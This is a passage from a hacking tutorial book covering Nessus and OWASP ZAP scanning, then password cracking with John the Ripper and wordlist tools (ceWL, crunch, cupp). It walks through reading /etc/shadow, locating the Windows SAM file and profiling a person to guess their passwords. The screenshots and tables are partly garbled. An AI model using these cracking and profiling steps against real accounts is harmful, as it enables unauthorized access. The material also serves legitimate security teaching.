<ul> <li>An information disclosure vulnerability exists in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of cer requests. An understanded remote attacker can exploit this, via a specially crafted packet, to disclose sensitive information (CVE-2017-0147)</li> </ul>	tain	Family: Published: Modified: <b>Risk Informati</b>	Windows March 20, 2017 February 26, 201	9			
ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are four of multiple Equation Group vulnerabilities and exploits disclosed on 2017/04/14 by a group known as the Shadow Brokers. WannaCry / WannaCrypt is a ra program utilizing the ETERNALBLUE exploit, and EternalRocks is a worm that utilizes seven Equation Group vulnerabilities. Pr ransomware program that first utilizes CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads via ETERNALBLUE	nsomware Itya is a	Areas Information Risk Factor: Critical are CVSS v3.0 Base Score 8.1 CVSS v3.0 Vector: CVSS:3.0/AV:NAC:HVPI //UENS:UC:HVILH/ACH					
Solution Microsoft has released a set of patches for Windows Visita, 2008, 7, 2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Micro also released emergency patches for Windows operating systems that are no longer supported, including Windows XP, 2003, ar	soft has nd 8.	/RL:O/RC:C (thas CVSS v3.0 Temporal Score: 7.7 8. CVSS Base Score: 10.0 CVSS Temporal Score: 8.7					
For unsupported Windows operating systems, e.g. Windows XP, Microsoft recommends that users discontinue the use of SMB lacks security features that were included in later SMB versions. SMBv1 can be disabled by following the vendor instructions p	CVSS Vector: 0 /I:C/A:C	CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:C /I:C/A:C					

Nessus will now ask you if you want to create an Executive Summary or Custom Report. I selected Executive Summary and then selected the PDF format in the upper right corner. Now Nessus will begin to generate a professional looking "Executive Summary" of your vulnerability scan in a PDF format ready to deliver your CTO or CISO.

nessus Essentiais	Scans Settings				🔺 occupytheweb 👤				
FOLDERS	New Scan « Back to My Scans			Configure	Audit Trail Launch 👻 Export 👻				
<ul> <li>All Scans</li> <li>Trash</li> </ul>	Al Scans Al Scans Trash Fitter  Search Vulnerabilities 21 History 2 Fitter  21 Vulnerabilities 22 Vulnerabilities 23 Vulnerabilities								
RESOURCES									
Policies	Sev * Name *	Family +	Count v	0	Scan Details				
<ul> <li>Plugin Rules</li> <li>Scanners</li> </ul>	MIXED 3 Microsoft Windows (Multiple Issues)	Windows	3 (	/	Name: New Scan Status: Completed				
TENABLE	SMB Signing not required	Misc.	1 0	/	Policy: Advanced Scan Scanner: Local Scanner				
Community	SMB (Multiple Issues)	Windows	8 🥝	/	Start: June 6 at 5:05 PM End: June 6 at 5:09 PM				
V Research	DCE Services Enumeration	Windows	8 (	/	Elapsed: 3 minutes				
	INFO     Nessus SYN scanner	Port scanners	4 (		Vulnerabilities				
	Common Platform Enumeration (CPE)	General	1 @	/	Critical     High				
	Device Type	General	1 0	/	Medium     Low				
	Ethernet Card Manufacturer Detection	Misc.	1 0	/	• Info				
	Ethernet MAC Addresses	General	1 @	/					

□ 4 of 5			New_S	can_1jf	u3x.pdf	70% 👻	Q = 0			
Table Of Cont 2					192.168.0.102					
	2 0 2 0					0	0 25			
192.100.0 +	CRITIC	AL	н	IGH	MEDIUM	LOW	INFO			
	Vulnerabilitie	s					Total: 29			
	SEVERITY	CVSS	PLUGIN	NAME						
	CRITICAL	10.0	53514	MS11-030 Execution	: Vulnerability in DNS (2509553) (remote ch	Resolution Could Allo eck)	w Remote Code			
	CRITICAL	10.0	97833	MS17-010 (ETERNA (ETERNA check)	: Security Update for I LBLUE) (ETERNALCH LSYNERGY) (Wannad	Microsoft Windows SM HAMPION) (ETERNAL Cry) (EternalRocks) (P	IB Server (4013389) ROMANCE) etya) (uncredentialed			
	MEDIUM	6.8	90510	MS16-047 (Badlock)	: Security Update for (uncredentialed check	SAM and LSAD Remo	te Protocols (3148527)			
	MEDIUM	5.0	57608	SMB Sign	ing not required					
	INFO	N/A	45590	Common	Platform Enumeration	(CPE)				
	INFO	N/A	10736	DCE Serv	ices Enumeration					
	INFO	N/A	54615	Device Ty	pe					
	INFO	N/A	35716	Ethernet C	ard Manufacturer Det	ection				
	INFO	N/A	86420	Ethernet N	IAC Addresses					
	INFO	N/A	10114	ICMP Tim	estamp Request Rem	ote Date Disclosure				
	INFO	N/A	53513	Link-Local	Multicast Name Reso	lution (LLMNR) Detec	tion			
	INFO	N∕A	117886	Local Che	cks Not Enabled (info)					
	INFO	N⁄A	10394	0394 Microsoft Windows SMB Log In Possible						
	INFO	N/A 10785 Microsoft Windows SMB Native LanManager Remote System Information Disclosure								
	N/A 26917 Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry									
:: = E Д	INFO	N∕A	11011	Microsoft	Windows SMB Service	Detection				
	192.168.0.102						4			

#### Website Vulnerability Scanning with OWASP ZAP

Nessus is a great tool for finding system and application vulnerabilities, but if we want to test a website and web applications for vulnerabilities, we probably want to use a tool designed specifically for that purpose. In Chapter 6, we used the whatsweb tool to fingerprint websites and it provided us with significant information on the site such as:

- 1. The nation the site is served from;
- 2. The CMS;
- 3. The web server;
- 4. The technologies employed to build the site.

At this stage, we want to know more. We want to know what potential vulnerabilities the website may have that we can exploit. There are a number of excellent commercial tools for this purpose, but fortunately the OWASP (Open Web Application Security Project) project has one of the best and it's free! From the Kali GUI, you can go to applications, Web Application Analysis and then click on OWASP ZAP or, if you prefer the command line, just enter **OWASP ZAP** at the command line (some versions of Kali do not include OAWSP-ZAP. In that case, simply download it from the Kali repository using command, apt-get install zaproxy).



kali> owasp-zap



The first time you use OWASP ZAP you will have to read and approve the End User License Agreement (EULA). Once you do that, OWASP ZAP will greet you with the following screen. This screen asks

whether you want to "persist the ZAP session". In essence, it's asking you whether you want to save the session.



It is best to "persist" the session with name and location, the second radio button selection. This will save your results into a file at the location of your choice. I will name mine "First Web Vulnerability Scan" (I'm creative aren't I) and save it to my /root folder.

Next, you will be greeted by a screen titled "Manage Add-ons" like below.

	Manage Add-ons	0	•	8
nstalled Marketplace				
P Core				
				_
.7.0 : ZAP is on the latest version	on			
d-ons				
				-
ilter:				
Name	Description	Update		F
Active scanner rules	The release quality Active Scanner rules	Update		
AdvFuzzer	Advanced fuzzer for manual testing			
Ajax Spider	Allows you to spider sites that make heavy use of JavaS	Update		1
Context Alert Filters	Allows you to automate the changing of alert risk levels.	Update		
Core Language Files	Translations of the core language files	Update		
Diff	Displays a dialog showing the differences between 2 re			
Directory List v1.0	List of directory names to be used with "Forced Browse			
Forced Browse	Forced browsing of files and directories using code fro			
Getting Started with ZAP	A short Getting Started with ZAP Guide	Update		L
Help - English	English (master) version of the ZAP help file.			U
Import files containing URLs	Adds an option to import a file of URLs. The file must be			н
Invoke Applications	Invoke external applications passing context related inf	Update		
JxBrowser (core)	An embedded browser based on Chromium, you must	Update		1
IxBrowser (Linux 64)	An embedded browser based on Chromium Linux 64 s	Undate		4
	Uninstall Selected Update Selected Upd	late All	Clos	e

Click **Update All** in the lower right corner.

Once it has completed the download and updated of all its add-ons, it will reply with a window saying it has complete this task. Click **OK** and close the Manage Add Ons window. This will leave you with the OWASP ZAP vulnerability assessment tool ready to "attack" your target website!

Untitled Session - First Web Vulnerability Scan - OWASP ZAP 2.7.0							
<u>File Edit View Analyse Report Tools Online Help</u>							
Standard Mode 💌 🗋 😓 📗 📾 📄 🌼 💷 💻 🗉		L 🧕 🖓 🕒 🕨	) Ø 💢 🖩 🕯	. 0 🖸 🖬 😽			
🚱 Sites 🕂	∫ 🖗 Quick Start 🖈 🔿 F	Request Response	<b>← [ +</b> ]				
Contexts Context Context Sites	Welcome to the OWASP Zed Attack Proxy (ZA ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web application Please be aware that you should only attack applications that you have been specifically been given To quickly test an application, enter its URL below and press 'Attack'. UBL to attack: http://						ion t
	Progress:	Attack Not started	Stop		)		7.
🛗 History 🔍 Search 🏾 🟴 Alerts 📄 Output 🖢							
Filter: OFF C Export							
Id Req. Timestamp Method URL		Code Reason	RTT Size Resp.	. Body Highest Alert	Note Tags		

In this case, we will be using OWASP ZAP to test the vulnerabilities of an online website designed to be attacked, webscantest.com. Enter the URL of the website where it indicates "URL to attack." Then click the **Attack** below.

Welcome to the OWASP Zed Attack Proxy (ZAP)							
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.							
Please be aware that you	should only attack applications that you have been specifically been given per	mission t					
To quickly test an applic	ation, enter its URL below and press 'Attack'.						
URL to attack:	http://webscantest.com	💊 Sel					
	Attack						
Progress:	Not started						
•		7					

It will now begin its analysis of the website. First it will spider the site and then begin an active scan looking for vulnerabilities. This can take awhile. For very large websites, this may takes hours, so sit back and relax.

🛗 Hi	🗮 History 🔍 Search р Alerts 📋 Output 🕷 Spider 👌 Active Scan 🖉 🖈 🛨									
🎟 👌 New Scan 🗄 Progress: 0: http://webscantest.com 💌 💷 🔲 🔲 🔤 🛛 0% 🖤 Current Scans: 1 🗄 Num requests: 165 🥐 Export 🚳										
Id	Req. Timestamp	Resp. Timestamp	Method	URL	Code	Reason	RTT	Size Resp. Header	Size Resp. Body	1
612	6/5/19, 10:46:41 AM	6/5/19, 10:46:41 AM	GET	http://webscantest.com/angular/angular1/js	200	OK	1	285 bytes	4,/42 bytes	
613	6/5/19, 10:46:41 AM	6/5/19, 10:46:42 AM	GET	http://webscantest.com/angular/angular1/js	200	OK	1	285 bytes	4,742 bytes	
614	6/5/19, 10:46:42 AM	6/5/19, 10:46:42 AM	GET	http://webscantest.com/angular/angular1/js	200	OK	1	285 bytes	4,742 bytes	
615	6/5/19, 10:46:42 AM	6/5/19, 10:46:42 AM	GET	http://webscantest.com/angular/angular1/js	200	OK	1	285 bytes	4,742 bytes	
616	6/5/19, 10:46:41 AM	6/5/19, 10:46:42 AM	GET	http://webscantest.com/angular/angular1/js	200	OK	7	288 bytes	184,475 bytes	
617	6/5/19, 10:46:42 AM	6/5/19, 10:46:42 AM	GET	http://webscantest.com/angular/angular1/s	200	OK	1	190 bytes	1,194 bytes	
618	6/5/19, 10:46:42 AM	6/5/19, 10:46:43 AM	GET	http://webscantest.com/angular/angular1/js	200	OK	6	288 bytes	184,475 bytes	
619	6/5/19, 10:46:42 AM	6/5/19, 10:46:43 AM	GET	http://webscantest.com/angular/angular1/s	200	OK	2	190 bytes	1,194 bytes	
620	6/5/19, 10:46:43 AM	6/5/19, 10:46:43 AM	GET	http://webscantest.com/angular/angular1/s	200	OK	1	190 bytes	1,194 bytes	
Alerts	🏴 O 🏴 2 🏳 4 🏴 O 🔫	<b></b>				Current Sc	ans 🍕	🕽 o 🐺 o 👌 1 🥥	0 👋 0 🎤 0 👋	<b>Ķ</b> 0

While it is a scanning, you will note that across the bottom alerts begin to appear. These are the vulnerabilities that OWASP ZAP is collecting and categorizing. As you can see below, there are six types of alerts found;

- 1. Application Error Disclosure
- 2. X-Frame-Options Header Not Set
- 3. Cookie No HttpOnly Flag
- 4. Cross Domain Javascript Source File Inclusion
- 5. Web Browser XSS Protection Not Enabled
- 6. X-Content-Type-Options Header Missing

It is beyond the scope of this book to address these vulnerability types, but you can go to <u>www.hackers-arise.com/web-app-hacking</u> to learn more.

		WACD 74D 2 7 0	
Ontitled	Session - First web vulnerability Scan - O	WASPZAPZ.7.0	000
File Edit View Analyse Report Tools Online Help			
Standard Mode 💌 🗋 🐸 🔚 🖿 🗇 😳 💷 💷			
Sites 🛨	✓ Quick Start → Request Response	• ±	
	Header: Text 💌 Body: Text 💌 📃 🔲		
▼	HTTP/1.1 200 OK		
Default Context	Date: Wed, 05 Jun 2019 16:45:42 GMT		
Sites	X-Powered-By: PHP/5.5.9-lubuntu4.29		
	Set-Cookie: TEST_SESSIONID=0jonts3v94ng	gfhlrb9m4tbgmk7; path=/	T.
	Cache-Control: no-store, no-cache, must	t-revalidate, post-check=0, pre-check=0	
	Pragma: no-cache		۲
			Ă
	HTML PUBLIC "-//W3C//DTD HTML<br ose dtd">	4.0 Transitional//EN" "http://www.w3.org/TR/R	¿C-html40/lo
	<html></html>		
	<pre><head> <li>chead&gt; </li></head></pre>	post" brof_"(con/stulo_con" />	
	<pre><title>Test Site</title></pre>	leet mei= /css/styte.css />	
	<pre><script language="javascript"></script></pre>		



When you double click on the first alert "Application Error Disclosure," it open a windows with more detail like below.

		Edit Alert		8	- • ×
<u>File Edit View Analyse Report Tools Online He</u>	[ <b>7</b> ]				
Standard Mode 💌 📄 😂 📰 📷 📸 💷 .	Application	Error Disclosure	Ľ		L 🛛 😨 🔤 🦕
🚱 Sites 🛨	URL:	http://webscantest.com/angular/angular2/assets/po s.bundle.js	lyfill		
0 🗔 🖸 🖪	Risk:	Medium	•		
Contexts	Confidence:	Medium	-		
Default Context	Parameter:		•		<u>^</u>
🕨 🎯 Sites	Attack:		-		
			-1		
	Evidence:	internal error			
	CWE ID:	200	÷		*
	WASC ID:	13	÷		A
	Description	:			n
	This page	e contains an error/warning message that may	Ă		
	disclose s	ensitive information like the location of the file	DII		
	that prod	luced the unhandled exception. This information	•		
	Other Info:				
🛗 History 🔍 Search 👎 Alerts 🖈 📄 Outpu			٦		
					re
s framework					est.com/angular/angular2/assets/polyfills.bundle.js
▼ Application Error Disclosure (5)	Solution:				
GET: http://webscantest.com/angular	Review th	ne source code of this page. Implement custom			
GET: http://webscantest.com/angular	error pag	es. Consider implementing a mechanism to	DII		
GET: http://webscantest.com/angular/an	provide a	unique error reference/identifier to the client	۲		
GET: http://webscantest.com/angular/an	Reference:				
▶ № X-Frame-Options Header Not Set (70)					- Application Error Disclosure)
▶ P Cookie No HttpOnly Flag (4)				۲	×
Cross-Domain LavaScrint Source File Inclusio		Cancel	Save		
Alerts 10 102 104 100			_		mu scans 💭 0 💎 0 🦰 0 🔘 0 🛞 0 🖉 0 🛞 0

You can go through each of the alerts to determine what type of vulnerability OWASP ZAP has found and some information on how it can be exploited.

#### Summary

Vulnerability scanners are excellent tools for the pentester, but may be too noisy for the attacker, who needs to remain stealthy. They are not perfect, but they can find many potential vulnerabilities that might be exploitable, saving the attacker significant amounts of time. Some vulnerability scanners can generate a large number of false positives that can be deceptive to the novice pentester/hacker.

#### Exercises

- 1. Use the nmap EternalBlue vulnerability scanner against your Window 7 system.
- 2. Download and install the Nessus Essentials vulnerability scanner and run it against your Windows 7 system or any other system you may have on your network. When it has completed, generate an Executive Summary in a PDF format.
- 3. Run the OWASP ZAP website vulnerability scanner against www. webscantest.com or any other web site and note the results. Note that vulnerability scanning is not illegal, but might raise suspicions.

# 8

### **Cracking Passwords**

Usernames and passwords are an idea that came out of 1970's mainframe architectures.

They are not built for 2016

Alex Stamos



## Passwords are still the most common form of authentication used in our digital world. We use

passwords to log into our computers, our domain, our bank account, our Facebook account, and maybe even our phone. In recent years, security administrators have made a big effort to get people to use longer and more complex passwords. This makes password cracking more time consuming, but it can still be the hacker's best entry point to an account or network. In this chapter we will discuss methods of cracking passwords and some tools to do so. There is no single tool or technique that will work on every password, so it's important to think **strategically** when trying to crack passwords.

We can break down password cracking into several categories, but probably the most important distinction is **offline** vs. **online**. On nearly every modern system and application, passwords are stored as hashes (see Appendix A on Cryptography Basics for Hackers). This is one-way encryption. An algorithm takes the plain-text password and creates a unique, indecipherable cipher (hash) of it and stores it. When you log in again, the system takes the password you enter, encrypts it again, and checks to see whether that encrypted password matches the one it has stored. Far and away the most effective method for cracking passwords is to; (1) locate and grab those hash files, (2) take them offline, and (3) commit the resources to cracking them.

To see what these hashes look like, log into your Kali system as root and go to the /etc directory and display that file **shadow** with the cat command.



kali > cat shadow



This file includes all the accounts on your system and their password hashes. Since I only have one password on the root account, only one hash appears. The password hash appears after the username "root:" and before the next colon ":". It is this indecipherable set of characters that represent the password that we need to crack.

On Windows systems, the password hashes for the local user are stored at;

#### C:\Windows\System32\config\SAM

Windows (C:) $\rightarrow$ Windows $\rightarrow$	System32 → config			
^	Name	Date modified	Туре	Size
	bbimigrate	8/14/2018 10:48 PM	File folder	
	Journal	4/11/2018 5:38 PM	File folder	
	RegBack	4/11/2018 5:38 PM	File folder	
	systemprofile	10/19/2018 10:11	File folder	
	TxR	11/13/2018 9:14 PM	File folder	
	BBI	6/11/2019 5:48 PM	File	768 KB
	BCD-Template	8/14/2018 10:48 PM	File	28 KB
		6/16/2019 8:37 PM	File	48,896 KB
	DEFAULT	6/11/2019 5:48 PM	File	1,280 KB
	DRIVERS	6/13/2019 7:56 PM	File	6,324 KB
	ELAM	10/19/2018 10:15	File	32 KB
	SAM	6/11/2019 5:48 PM	File	56 KB
	SECURITY	6/11/2019 5:48 PM	File	48 KB
	SOFTWARE	6/11/2019 5:49 PM	File	145,408 KB
	SYSTEM	6/11/2019 5:48 PM	File	23,296 KB
	userdiff	8/14/2018 10:42 PM	File	8 KB

With modern systems, the password cracking process is to (1) generate a potential password; (2) encrypt it with the same algorithm the system used to generate the hash; and then (3) compare that hash to the one recovered from the system. If they match, you have cracked the password! If they do not, try the next potential password until one matches or you come to the end of your list.



#### **Cracking Passwords**

Although many hacker resources talk about the types of password-cracking approaches, I prefer to think of just **two** of them. The first approach is to use a list of potential passwords. These might include:

- 1. Dictionary;
- 2. Dictionary with special characters and numbers;
- 3. List of commonly used passwords;
- 4. Custom wordlist developed by the hacker.

In any of these cases, the hacker is attempting to automate the guessing of passwords (I must say that on many occasions, I have been successful simply manually guessing the user's password). The password-cracking tools take the password candidate from the wordlist, encrypt it with the appropriate encrypting algorithm (hashing) and then compare the hashes. If they match, then the cleartext password from the list that was entered into hashing algorithm is THE password.

The other approach is to **brute force** the password. A brute-force attack attempts all the possibilities until it finds the right password. In other words, if the password is eight characters, a brute-force attack would try every combination of letters, special characters, and numbers until it arrives at the right password (this would be seventy-five characters per position raised to the eighth power, or about 1 quadrillion possibilities). This can be very time- and resource-consuming, but all passwords are susceptible to brute force attacks. This is not a prudent approach (except in the case of short passwords) without using exceptional resources such as GPU farm, a botnet, or a supercomputer.

For the hacker, the most effective approach is to grab those hash files inside the system or as they travel outside the system (see the 4-way handshake in Wi-Fi hacking) and take them offline and commit the resources to cracking them.

Here, we will examine tools and techniques for first, offline password cracking and then second, online password cracking.

#### A Word about Wordlists

Both online and offline password cracking require a list of words to try. These wordlists don't necessarily include all words. Some may be combination of characters that are often used as passwords such as "qwerty", "asdfghjk", or "123456". Choosing the proper wordlist may become the most important decision you make in attempting to crack a password.

Kali has a large number of wordlists built into it. You can locate them by entering;

kali > locate wordlists



These wordlists are usually linked to an application and contain words that are particular to that application. For instance, the wordlist for the web directory cracking tool, **dirb**, contains commonly used words for website directories. Very often, the key to effective password cracking is selecting the appropriate wordlist.

In addition, there are numerous wordlist that can be found online. At such places as <u>www.skullsecurity.org</u> and www.hackers-arise.com/password-lists.

Finally, you might consider creating your own wordlist, one that should be customized for the task.

#### **Password Cracking Strategy**

When attempting to crack passwords, you will be well served to have a **strategy** before attempting the password crack, unless you are brute-forcing (and then, your strategy is patience). I always start with a small list with the most commonly used passwords. Remember, although there are 7.5 billion people on this planet and 1.5 billion speak English (although not all natively), and people tend to think and act similarly. Lazy people (or those who simply don't take information security seriously) will use common words or common keystroke combinations (i.e. qwerty, 123456) and others will take an additional step and create slightly more complex passwords including their name, initials, birthdays, anniversary dates, favorite TV show, children and spouse, among other things.

From the email dumps on the dark web, we can construct lists of the most commonly used passwords. In 2018, these were:

- 1. 123456
- 2. password
- 3. 123456789
- 4. 12345678
- 5. 12345
- 6. 111111
- 7. 1234567
- 8. sunshine
- 9. qwerty

- 10. iloveyou
- 11. princess
- 12. admin
- 13. welcome
- 14. 666666
- 15. abc123
- 16. football
- 17. 123123
- 18. monkey
- 19. 654321
- 20. !@#\$%^&\*
- 21. charlie
- 22. aa123456
- 23. donald
- 24. password1
- 25. qwerty123

Yes, believe or not, the most common passwords are "123456" and "password"!

These passwords comprise about 10 percent of all user accounts! And "123456" was used by almost 3 percent of accounts! Although my analysis is less than scientific, I estimate that the top 5,000 passwords are used on nearly one-third of accounts. With that information, it would be foolish to attempt a wordlist with millions of passwords and cost you days, weeks, or months of work. Instead, start strategically by attempting the top 5,000 or so most-common passwords first and, only if they fail, try using incrementally larger and more complex wordlists. If you have all the password hashes on, say, a 1000-user domain, by simply attempting the top 5,000 passwords, you are likely to find over 300 of them. Remember, you only need one password to compromise the network.

#### **Cracking Passwords with John the Ripper**

John the Ripper is one of the oldest continuously maintained password crackers. Having first appeared on the hacking scene in 1996, Solar Designer maintains this excellent Unix/Linux password cracker. Here we will use it to learn password-cracking principles and strategy using this simple, yet elegant tool.

We can view john's help file by simply entering the command **john** in a terminal.

kali > john



Let's begin this journey into password cracking by cracking the passwords on our own Kali Linux system. First, let's create some new accounts on our system using the Linux command "useradd." This simple command requires a username and then enter the command "passwd" and then the account name. It will then prompt you twice for the password.

kali > useradd hacker

kali > passwd hacker

```
root@kali-2019:~# useradd hacker
root@kali-2019:~# passwd hacker
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@kali-2019:~#
```

Create five new accounts. On the first two accounts, use short dictionary words. Then, on the next three, use increasingly longer and more complex passwords (add numbers, special characters, etc.).

Now that we have six user accounts on our Kali (five new and our root account), let's try cracking them with John the Ripper.

The first step to cracking these passwords is to extract the /etc/shadow file (where the hashes reside) and strip out everything but the password hashes. We can do this with john's **unshadow** command. This command requires that both the /etc/shadow and the /etc/passwd files be in the same directory.

Let's copy both the shadow and passwd files to current working directory and then apply the unshadow command to them, then directing (>) the cleaned password hashes to a file named "passwordhashes."

```
kali > cp /etc/shadow ./
kali > cp /etc/passwd ./
kali > unshadow passwd shadow > passwordhashes
```

```
root@kali-2019:~# cp /etc/passwd ./
root@kali-2019:~# cp /etc/shadow ./
root@kali-2019:~# unshadow passwd shadow > passwordhashes
```

Although john is very powerful tool with many options and features, we can start the process of password cracking by simply executing the **john** command followed by the file of hashes (passwordhashes).

kali > john passwordhashes

```
root@kali-2019:~# john passwordhashes
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Remaining 4 password hashes with 4 different salts
Cost 1 (iteration count) is 5000 for all loaded hashes
Proceeding with single, rules:Wordlist
Press 'q' or Ctrl-C to abort, almost any other key for status
```

John will now analyze what type of hashing (the encryption being used; there are hundreds of different types of hashing algorithms and John has a fairly accurate hash auto-detect of the underlying hash algorithm) algorithm was used and what, if any, salt (a salt is an additional set of characters added to the passwords to make it more difficult to crack) is being used. Then it starts to crack the hashes with its built-in, default of list 3,500 common passwords.

Within seconds, it has cracked two of my passwords and continues to work to crack the others.

```
Further messages of this type will be suppressed.
To see less of these warnings in the future, enable 'RelaxKPCWarningCheck'
in john.conf
Almost done: Processing the remaining buffered candidate passwords, if any
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
123456 (user4)
qwerty (masterhacker)
Proceeding with incremental:ASCII
```

John will continue to attempt to crack the other passwords. When it is done or you terminate its execution (Ctrl+C), you can view the passwords by entering;

kali > john -show passwordhashes

```
root@kali-2019:~# john --show passwordhashes
root:toor:0:0:root:/root:/bin/bash
hacker:hacker:1005:1005::/home/hacker:/bin/sh
masterhacker:qwerty:1006:1006::/home/masterhacker:/bin/sh
user4:123456:1007:1007::/home/user4:/bin/sh
4 password hashes cracked, 1 left
```

As you can see, john was capable of cracking four of my passwords in just a few minutes, but failed on one password. This simply means that the password in question was not on the default list used by john.

Let's try another wordlist to crack that remaining password. There are numerous password lists online and in Kali. Some are good and some are bad. As I explained earlier, it always a good strategy to try the most popular passwords first. If you go to <u>www.hackers-arise.com/passwords-list</u>, you will find numerous password lists you can download and use. Here I have started with the Top 1,000 passwords.

We can utilize those external lists by using the keyword **-wordlist** followed by the location of the list (/root/top1000passwords) after the john command. To enhance our ability to find the password, we can add the option **-rules**. Users are often taught to use and substitute letters, numbers and special characters in their passwords (often referred to as "munging"). The **-rules** option will "mangle" our password list based upon various rules built into john (for a list of rules, go to john's man page and search down to the section on rules). This does character substitution such as converting the word "password" to "p@\$\$w0rd."

Our command now should look like this.

kali > john -wordlist=/root/top1000passwords -rules passwordhashes



Yes! We found the password for the only user (user5) we didn't find in the first pass with john. Now that wasn't very hard, was it?

If this strategy had not worked, we could have used increasingly larger password lists or eventually resorted to brute-forcing the password by trying all combinations of letters, numbers, and special characters. As I mentioned earlier, brute-forcing a password can be VERY time and resource intensive.

#### **Creating a Custom Password List**

If we had not been successful with our password lists, we might want to consider building our own password list. In this section, I'll show you three tools for creating a custom password list, ceWL, crunch and cupp.

#### ceWL

Although human beings tend to create and use similar passwords, many people use obscure or littleknown words from their industry or hobby to create passwords. In this way, they believe their password is secure because no one outside their industry or hobby would think of it.

The concept behind **cewl** is to harvest these specialized words to create specialized password lists. ceWL scrapes words from a targeted website and then creates a password list from those words. In this way, you can create specialized password lists for an industry or individual.

For instance, let's assume the target works in the biopharmaceutical industry. Many of the words they use in their everyday work would be unfamiliar to the average hacker. As such, they may use them as passwords, believing that they are very unlikely to be on a password list used by a hacker, and they are probably right. Words such as *reverseDNAtranscription*, *polymerasechainreaction*, and others are unlikely to be in any hacker's password list. At the same time, they ARE likely to be among the words found on the company or industry website. ceWL is able to take those specialized words and create a custom wordlist for password cracking of those in that industry.

Let's take a look at ceWL for creating a custom password list.

ceWL is built into Kali, so no need to download and install anything. Simply enter ceWL to get started or even better cewl -h to pull up the help screen.

kali > cewl -h



Although this help screen seems a bit intimidating with all its options, when we strip out all the options, the basic command is:

kali > cewl -url <the URL you want to scrape>

Running ceWL without any options is likely to generate a wordlist with a lot of words that do not comply with the target's password policy. A smarter and more efficient approach would be to only harvest the words longer than the typical company password policy, usually eight characters at a minimum. We can accomplish this by using ceWL's minimum word length option or -m followed by 8. In addition, we can determine the depth of the spidering (how many subdirectories deep to look). This number will depend upon the site, but I think a depth of four subdirectories is sufficient and efficient at capturing most of the keywords. Now we can write our cewl command to do just that to <u>www.hackers-arise.com</u> and scrape every word longer than eight characters from it.

kali >cewl -d 4 -m 8 https://www.hackers-arise.com -w cewlpasswords

root@kali-2019:~# cewl -d 4 -m 8 https://www.hackers-arise.com -w cewlpasswords CeWL 5.4.3 (Arkanoid) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
Note that it's important to precede the URL of the target website with http or https. Without this preface, ceWL will be unable to scrape the target URL. Depending upon the size of the website, this could take several hours.

When cewl has completed its scraping of potential passwords, it will place all the potential passwords in a file I have named cewlpasswords (you can name it anything you desire). We can view the contents of this file by using the cat command

#### kali > cat cewlpasswords

ceWL was able to find several hundred potential passwords on <u>www.hackers-arise.com</u>, some very specialized to our industry such as Metasploit, exploits, vulnerability, scripting, and others.

To now use that password list in john, we can enter;

kali > john wordlist=/root/cewlpasswords -rules
passwordhashes

john will now use the list of words scraped from the target's website (cewlpasswords) and apply rules to mangle(-rules) them with character substitution, thereby increasing the chance of cracking the target's passwords.



#### Crunch

Sometimes, to crack a password, we may need to create a specialized list that meets certain known parameters. For instance, maybe we know that the passwords all end in four numbers (eg. password1234) or we know the target's birthday and suspect they use it in their password. If the target's birthday were February 29, they might create a password such as "password0229". Crunch is our tool to create such lists!

To get started with crunch, simply enter crunch in your BASH shell.

kali > crunch



Although this displays some basic information on crunch, we really need to view the man page to understand how to use crunch.

```
kali > man crunch
```



Here we see all the key options to make efficient use of crunch. If we scroll down a bit, we can see the pattern-specifying wildcards to use with the **-t** option.



Then when we scroll to the bottom of the man page we can see some simple examples.



Now let's try using crunch to create wordlists. Remember my example above about a target that has a password policy of at least eight characters and at least one number? Let's create a custom password list that meets those criteria.

Let's say we know that the target is a Bob Dylan fan. They might use that name and then append it with four numbers (maybe their birth date). We could create such a list in crunch by entering;

kali > crunch 9 9 -t dylan%%%% -o customwordlist.txt



When we hit enter, crunch first calculates how large the file will become before creating it (those of you who are Mr. Robot fans (www.hackers-arise.com/mr-robot) will likely recognize that Elliot cracked his therapist's password in Season 1 using a similar technique). In this case, crunch estimates it will be 100,000 bytes. This is crucial information as it is possible to create files with crunch that are

extraordinarily large and will fill your entire hard drive. For instance, if I wanted to create a wordlist with four letters **before** and four numbers **after** the password and up to thirteen characters, I would enter;

```
kali> crunch 13 13 -t @@@@dylan%%%% -o customwordlist.txt
```



As you can see above, crunch is about to create **59GB** wordlist! That's a bit unwieldy. You probably want to change your strategy unless you have significant patience and/or computing power.

#### Cupp

Sometimes we may want to create potential password list that is tailored to the individual target. People often use their names, their children's names, their partner's names, their pet's names, their favorite musician's names as their password often combining them with special characters and numbers (admit it. You've done it!). We have a special tool that can create tailored password lists based upon some key info on the target. It's called cupp or Common User Password Profiler.

Cupp is not built into Kali, so you will need to download it from github.com.

kali > git clone https://github.com/Mebus/cupp



Next, we need to change directory to our new cup directory.

kali > cd cupp

To run cupp's help screen, we simply need to enter;

kali > ./cupp.py



As you can see, cupp is a simple tool with just a few options. To start cupp in interactive mode, enter the command cupp followed by -i;

kali > ./cupp -i



When we do so, cupp goes into interactive mode and begins to ask us questions about the target, such as name, birthday, partner, pet name, child name, etc. I filled in the information as Elliot Alderson, the primary character from the TV show, "Mr. Robot" would when he was targeting his courtappointed therapist, Krista Gordon.

When cupp has completed its task, it places all the potential passwords (3,980 in this case) in a file named Krista.txt. We can view the contents of that file by entering;

kali > cat krista.txt



As you can see above, cupp began by using variations on her birth date...

And then variations on her last name...

... and then variations on her first name

Kr157y_92	
Kr157y_9202	
Kr157y_9229	
Kr157y_9276	
Kr157y_929	
Kr157y_9292	
Kr157y_976	
Kr157y_9762	
Kr157y_9769	
Kr157y_9976	
Krista	
Krista02	
Krista022	
Krista02229	
Krista02276	
Krista0229	
Krista02292	
Krista02299	
Krista0276	
Krista02762	
Krista02769	
Krista029	
Krista0292	
Krista02929	
Krista02976	
Krista1976	
Krista19762	
Krista19769	
Krista2	
Krista2008	
